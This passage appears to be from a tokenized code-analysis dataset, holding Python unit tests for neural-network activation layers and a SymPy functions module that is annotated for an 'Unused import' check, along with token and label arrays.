"(_", "input", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "equal_", "(_", "actual", "\\u", "output_", ",_", "expected", "\\u", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "sigm", "oid", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer", "1_", "=_", "Sigm", "oid_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Greater_", "(_", "1_", ",_", "layer", "1_", "._", "activation", "\\u", "function_", "(_", "1_", ")_", "._", "eval_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "hard", "\\u", "sigm", "oid", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer", "1_", "=_", "Hard", "Sigm", "oid_", "(_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "value_", "=_", "asf", "loat_", "(_", "np_", "._", "array_", "(_", "[_", "[_", "-_", "3_", ",_", "-_", "2_", ",_", "-_", "1_", ",_", "0_", ",_", "1_", ",_", "2_", "]_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "0_", ",_", "0.1_", ",_", "0.3_", ",_", "0.5_", ",_", "0.7_", ",_", "0.9_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "T_", "._", "matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "layer", "1_", "._", "activation", "\\u", "function_", "(_", "x_", ")_", "._", "eval_", "(_", "{_", "x_", ":_", "test\\u", "value_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "alm", "ost", "\\u", "equal_", "(_", "output_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "step", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer", "1_", "=_", "Step_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "input", "\\u", "vector_", "=_", "theano_", "._", "shared_", "(_", "np_", "._", "array_", "(_", "[_", "-_", "10_", ",_", "-_", "1_", ",_", "0_", ",_", "1_", ",_", "10_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "np_", "._", "array_", "(_", "[_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ",_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "layer", "1_", "._", "activation", "\\u", "function_", "(_", "input", "\\u", "vector_", ")_", "._", "eval_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "equal_", "(_", "output_", ",_", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "linear", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "=_", "Linear_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "layer_", "._", "activation", "\\u", "function_", "(_", "1_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tan", "h", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer", "1_", "=_", "Tan", "h_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Greater_", "(_", "1_", ",_", "layer", "1_", "._", "activation", "\\u", "function_", "(_", "1_", ")_", "._", "eval_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "relu", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "=_", "Rel", "u_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "layer_", "._", "activation", "\\u", "function_", "(_", "-_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "layer_", "._", "activation", "\\u", "function_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "10_", ",_", "layer_", "._", "activation", "\\u", "function_", "(_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "soft", "plus", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "=_", "Sof", "tpl", "us_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "math_", "._", "log_", "(_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "layer_", "._", "activation", "\\u", "function_", "(_", "0_", ")_", "._", "eval_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "soft", "max", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "input_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "0.5_", ",_", "0.5_", ",_", "0.1_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "soft", "max", "\\u", "layer_", "=_", "Softmax", "_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct", "\\u", "result_", "=_", "np_", "._", "array_", "(_", "[_", "[_", "0.37", "448", "695", "_", ",_", "0.37", "448", "695", "_", ",_", "0.25", "1026", "11_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "testing_", "._", "assert", "\\u", "array", "\\u", "alm", "ost", "\\u", "equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "correct", "\\u", "result_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "soft", "max", "\\u", "layer_", "._", "activation", "\\u", "function_", "(_", "test\\u", "input_", ")_", "._", "eval_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "drop", "out", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "input_", "=_", "np_", "._", "ones_", "(_", "(_", "50_", ",_", "20_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "drop", "out", "\\u", "layer_", "=_", "Dropout_", "(_", "proba_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "layer", "\\u", "output_", "=_", "drop", "out", "\\u", "layer_", "._", "output_", "(_", "test\\u", "input_", ")_", "._", "eval_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Greater_", "(_", "layer", "\\u", "output_", "._", "sum_", "(_", ")_", ",_", "900_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Less_", "(_", "layer", "\\u", "output_", "._", "sum_", "(_", ")_", ",_", "1100", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "np_", "._", "all_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "bitwise", "\\u", "or_", "(_", "layer", "\\u", "output_", "==_", "0_", ",_", "layer", "\\u", "output_", "==_", "2_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hi", "dde", "n", "Layer", "s", "Opera", "tion", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "reshape", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "np_", "._", "random_", "._", "random_", "(_", "(_", "5_", ",_", "4_", ",_", "3_", ",_", "2_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reshape", "\\u", "layer_", "=_", "Res", "hape_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "reshape", "\\u", "layer_", "._", "output_", "(_", "x_", ")_", "._", "eval_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "y_", "._", "shape_", ",_", "(_", "5_", ",_", "4_", "*_", "3_", "*_", "2_", "*_", "1_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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ibonacci, harmonic, bernoulli...\nElementary - hyperbolic, trigonometric, exponential, floor and ceiling, sqrt...\nSpecial - gamma, zeta,spherical harmonics...\n\"\"\"\n\nfrom sympy.functions.combinatorial.factorials import (factorial, factorial2,\n rf, ff, binomial, RisingFactorial, FallingFactorial, subfactorial)\nfrom sympy.functions.combinatorial.numbers import (fibonacci, lucas, harmonic,\n bernoulli, bell, euler, catalan, genocchi)\nfrom sympy.functions.elementary.miscellaneous import (sqrt, root, Min, Max,\n Id, real_root, cbrt)\nfrom sympy.functions.elementary.complexes import (re, im, sign, Abs,\n conjugate, arg, polar_lift, periodic_argument, unbranched_argument,\n principal_branch, transpose, adjoint, polarify, unpolarify)\nfrom sympy.functions.elementary.trigonometric import (sin, cos, tan,\n sec, csc, cot, sinc, asin, acos, atan, asec, acsc, acot, atan2)\nfrom sympy.functions.elementary.exponential import (exp_polar, exp, log,\n LambertW)\nfrom sympy.functions.elementary.hyperbolic import (sinh, cosh, tanh, coth,\n sech, csch, asinh, acosh, atanh, acoth, asech)\nfrom sympy.functions.elementary.integers import floor, ceiling, frac\nfrom sympy.functions.elementary.piecewise import Piecewise, piecewise_fold\nfrom sympy.functions.special.error_functions import (erf, erfc, erfi, erf2,\n erfinv, erfcinv, erf2inv, Ei, expint, E1, li, Li, Si, Ci, Shi, Chi,\n fresnels, fresnelc)\nfrom sympy.functions.special.gamma_functions import (gamma, lowergamma,\n uppergamma, polygamma, loggamma, digamma, trigamma)\nfrom sympy.functions.special.zeta_functions import (dirichlet_eta, zeta,\n lerchphi, polylog, stieltjes)\nfrom sympy.functions.special.tensor_functions import (Eijk, LeviCivita,\n KroneckerDelta)\nfrom sympy.functions.special.delta_functions import DiracDelta, Heaviside\nfrom sympy.functions.special.bsplines import bspline_basis, bspline_basis_set\nfrom sympy.functions.special.bessel import (besselj, bessely, besseli, besselk,\n hankel1, hankel2, jn, yn, jn_zeros, hn1, hn2, airyai, airybi, airyaiprime, airybiprime)\nfrom sympy.functions.special.hyper import hyper, meijerg\nfrom sympy.functions.special.polynomials import (legendre, assoc_legendre,\n hermite, chebyshevt, chebyshevu, chebyshevu_root, chebyshevt_root,\n laguerre, assoc_laguerre, gegenbauer, jacobi, jacobi_normalized)\nfrom sympy.functions.special.spherical_harmonics import Ynm, Ynm_c, Znm\nfrom sympy.functions.special.elliptic_integrals import (elliptic_k,\n elliptic_f, elliptic_e, elliptic_pi)\nfrom sympy.functions.special.beta_functions import beta\nfrom sympy.functions.special.mathieu_functions import (mathieus, mathieuc,\n mathieusprime, mathieucprime)\nln = log\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from sympy.functions.combinatorial.factorials import (factorial, factorial2,\n rf, ff, binomial, RisingFactorial, FallingFactorial, subfactorial)", "start_line": 7, "start_column": 0, "end_line": 8, "end_column": 74 }, { "span": "from sympy.functions.combinatorial.numbers import (fibonacci, lucas, harmonic,\n bernoulli, bell, euler, catalan, genocchi)", "start_line": 9, "start_column": 0, "end_line": 10, "end_column": 50 }, { "span": "from sympy.functions.elementary.miscellaneous import (sqrt, root, Min, Max,\n Id, real_root, cbrt)", "start_line": 11, "start_column": 0, "end_line": 12, "end_column": 28 }, { "span": "from sympy.functions.elementary.complexes import (re, im, sign, Abs,\n conjugate, arg, polar_lift, periodic_argument, unbranched_argument,\n principal_branch, transpose, adjoint, polarify, unpolarify)", "start_line": 13, "start_column": 0, "end_line": 15, "end_column": 67 }, { "span": "from sympy.functions.elementary.trigonometric import (sin, cos, tan,\n sec, csc, cot, sinc, asin, acos, atan, asec, acsc, acot, atan2)", "start_line": 16, "start_column": 0, "end_line": 17, "end_column": 71 }, { "span": "from sympy.functions.elementary.exponential import (exp_polar, exp, log,\n LambertW)", "start_line": 18, "start_column": 0, "end_line": 19, "end_column": 17 }, { "span": "from sympy.functions.elementary.hyperbolic import (sinh, cosh, tanh, coth,\n sech, csch, asinh, acosh, atanh, acoth, asech)", "start_line": 20, "start_column": 0, "end_line": 21, "end_column": 54 }, { "span": "from sympy.functions.elementary.integers import floor, ceiling, frac", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 68 }, { "span": "from sympy.functions.elementary.piecewise import Piecewise, piecewise_fold", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 74 }, { "span": "from sympy.functions.special.error_functions import (erf, erfc, erfi, erf2,\n erfinv, erfcinv, erf2inv, Ei, expint, E1, li, Li, Si, Ci, Shi, Chi,\n fresnels, fresnelc)", "start_line": 24, "start_column": 0, "end_line": 26, "end_column": 27 }, { "span": "from sympy.functions.special.gamma_functions import (gamma, lowergamma,\n uppergamma, polygamma, loggamma, digamma, trigamma)", "start_line": 27, "start_column": 0, "end_line": 28, "end_column": 59 }, { "span": "from sympy.functions.special.zeta_functions import (dirichlet_eta, zeta,\n lerchphi, polylog, stieltjes)", "start_line": 29, "start_column": 0, "end_line": 30, "end_column": 37 }, { "span": "from sympy.functions.special.tensor_functions import (Eijk, LeviCivita,\n KroneckerDelta)", "start_line": 31, "start_column": 0, "end_line": 32, "end_column": 23 }, { "span": "from sympy.functions.special.delta_functions import DiracDelta, Heaviside", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 73 }, { "span": "from sympy.functions.special.bsplines import bspline_basis, bspline_basis_set", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 77 }, { "span": "from sympy.functions.special.bessel import (besselj, bessely, besseli, besselk,\n hankel1, hankel2, jn, yn, jn_zeros, hn1, hn2, airyai, airybi, airyaiprime, airybiprime)", "start_line": 35, "start_column": 0, "end_line": 36, "end_column": 95 }, { "span": "from sympy.functions.special.hyper import hyper, meijerg", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 56 }, { "span": "from sympy.functions.special.polynomials import (legendre, assoc_legendre,\n hermite, chebyshevt, chebyshevu, chebyshevu_root, chebyshevt_root,\n laguerre, assoc_laguerre, gegenbauer, jacobi, jacobi_normalized)", "start_line": 38, "start_column": 0, "end_line": 40, "end_column": 72 }, { "span": "from sympy.functions.special.spherical_harmonics import Ynm, Ynm_c, Znm", "start_line": 41, "start_column": 0, "end_line": 41, "end_column": 71 }, { "span": "from sympy.functions.special.elliptic_integrals import (elliptic_k,\n elliptic_f, elliptic_e, elliptic_pi)", "start_line": 42, "start_column": 0, "end_line": 43, "end_column": 44 }, { "span": "from sympy.functions.special.beta_functions import beta", "start_line": 44, "start_column": 0, "end_line": 44, "end_column": 55 }, { "span": "from sympy.functions.special.mathieu_functions import (mathieus, mathieuc,\n mathieusprime, mathieucprime)", "start_line": 45, "start_column": 0, "end_line": 46, "end_column": 37 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "A", " ", "function", "s", " ", "module", ",", " ", "include", "s", " ", "all", " ", "the", " ", "standard", " ", "function", "s", ".", "\\", "10", ";", "\\", "10", ";", "Combinat", "oria", "l", " ", "-", " ", "factori", "al", ",", " ", "fibo", "nacc", "i", ",", " ", "harmonic", ",", " ", "bern", "oulli", "...", "\\", "10", ";", "Element", "ary", " ", "-", " ", "hyper", "boli", "c", ",", " ", "trig", "ono", "metric", ",", " ", "exponential", ",", " ", "floor", " ", "and", " ", "ceil", "ing", ",", " ", "sqrt", "...", "\\", "10", ";", "Special", " ", "-", " ", "gamma", ",", " ", "zeta", ",", "spherical", " ", "harmonic", "s", "...", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "combinat", "oria", "l_", "._", "factori", "als_", "import_", "(_", "factorial_", ",_", "factori", "al", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rf_", ",_", "ff_", ",_", "binomial", "_", ",_", "Ris", "ing", "Factor", "ial_", ",_", "Fall", "ing", "Factor", "ial_", ",_", "subf", "actor", "ial_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "combinat", "oria", "l_", "._", "numbers_", "import_", "(_", "fibo", "nacc", "i_", ",_", "luc", "as_", ",_", "harmonic", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bern", "oulli", "_", ",_", "bell", "_", ",_", "euler_", ",_", "catal", "an_", ",_", "geno", "cch", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "misc", "ella", "neous", "_", "import_", "(_", "sqrt_", ",_", "root_", ",_", "Min_", ",_", "Max_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Id_", ",_", "real", "\\u", "root_", ",_", "cb", "rt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "complex", "es_", "import_", "(_", "re_", ",_", "im_", ",_", "sign_", ",_", "Abs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conjugate", "_", ",_", "arg_", ",_", "polar", "\\u", "lift", "_", ",_", "periodic", "\\u", "argument_", ",_", "unb", "ranch", "ed", "\\u", "argument_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "principal", "\\u", "branch_", ",_", "transpose_", ",_", "adjoint", "_", ",_", "polar", "ify_", ",_", "unp", "ola", "rif", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "trig", "ono", "metric_", "import_", "(_", "sin_", ",_", "cos_", ",_", "tan_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sec_", ",_", "csc", "_", ",_", "cot", "_", ",_", "sinc", "_", ",_", "asin", "_", ",_", "acos", "_", ",_", "atan", "_", ",_", "ase", "c_", ",_", "acs", "c_", ",_", "aco", "t_", ",_", "atan2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "exponential", "_", "import_", "(_", "exp", "\\u", "polar", "_", ",_", "exp_", ",_", "log_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lam", "bert", "W_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "hyper", "boli", "c_", "import_", "(_", "sinh", "_", ",_", "cos", "h_", ",_", "tanh_", ",_", "cot", "h_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sec", "h_", ",_", "csc", "h_", ",_", "asin", "h_", ",_", "acos", "h_", ",_", "atan", "h_", ",_", "aco", "th_", ",_", "ase", "ch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "integers_", "import_", "floor_", ",_", "ceil", "ing_", ",_", "frac_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "elementa", "ry_", "._", "piece", "wise_", "import_", "Piece", "wise_", ",_", "piece", "wis", "e\\u", "fold_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "error", "\\u", "functions_", "import_", "(_", "erf", "_", ",_", "erf", "c_", ",_", "erf", "i_", ",_", "erf", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "erf", "inv_", ",_", "erf", "cin", "v_", ",_", "erf", "2in", "v_", ",_", "Ei", "_", ",_", "exp", "int_", ",_", "E1_", ",_", "li_", ",_", "Li", "_", ",_", "Si", "_", ",_", "Ci", "_", ",_", "Shi", "_", ",_", "Chi", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fre", "sne", "ls_", ",_", "fre", "sne", "lc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "gamma", "\\u", "functions_", "import_", "(_", "gamma_", ",_", "lower", "gamma_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "upper", "gamma_", ",_", "poly", "gamma_", ",_", "logg", "amma", "_", ",_", "dig", "amma", "_", ",_", "trig", "amma", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "zeta", "\\u", "functions_", "import_", "(_", "diri", "chl", "et", "\\u", "eta_", ",_", "zeta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ler", "ch", "phi_", ",_", "poly", "log_", ",_", "sti", "elt", "jes", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "tensor", "\\u", "functions_", "import_", "(_", "Ei", "jk", "_", ",_", "Lev", "i", "Ci", "vita", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Kr", "one", "cker", "Delta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "delta", "\\u", "functions_", "import_", "Dir", "ac", "Delta_", ",_", "Heav", "isi", "de_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "bsp", "lines_", "import_", "bsp", "line", "\\u", "basis_", ",_", "bsp", "line", "\\u", "basi", "s", "\\u", "set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "bes", "sel_", "import_", "(_", "bes", "sel", "j_", ",_", "bes", "sel", "y_", ",_", "bes", "sel", "i_", ",_", "bes", "sel", "k_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "han", "kel", "1_", ",_", "han", "kel", "2_", ",_", "jn", "_", ",_", "yn_", ",_", "jn", "\\u", "zeros_", ",_", "hn", "1_", ",_", "hn", "2_", ",_", "air", "ya", "i_", ",_", "air", "yb", "i_", ",_", "air", "ya", "ipr", "ime_", ",_", "air", "yb", "ipr", "ime_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "hyper", "_", "import_", "hyper", "_", ",_", "mei", "jer", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "functions_", "._", "special_", "._", "polynomial", "s_", "import_", "(_", "legend", "re_", ",_", "assoc", "\\u", "legend", "re_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "herm", "ite_", ",_", "cheb", "ys", "hev", "t_", ",_", "cheb", "ys", "hev", "u_", ",_", "cheb", "ys", "hev", "u\\u", "root_", ",_", "cheb", "ys", "hev", "t", "\\u", "root_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lag", 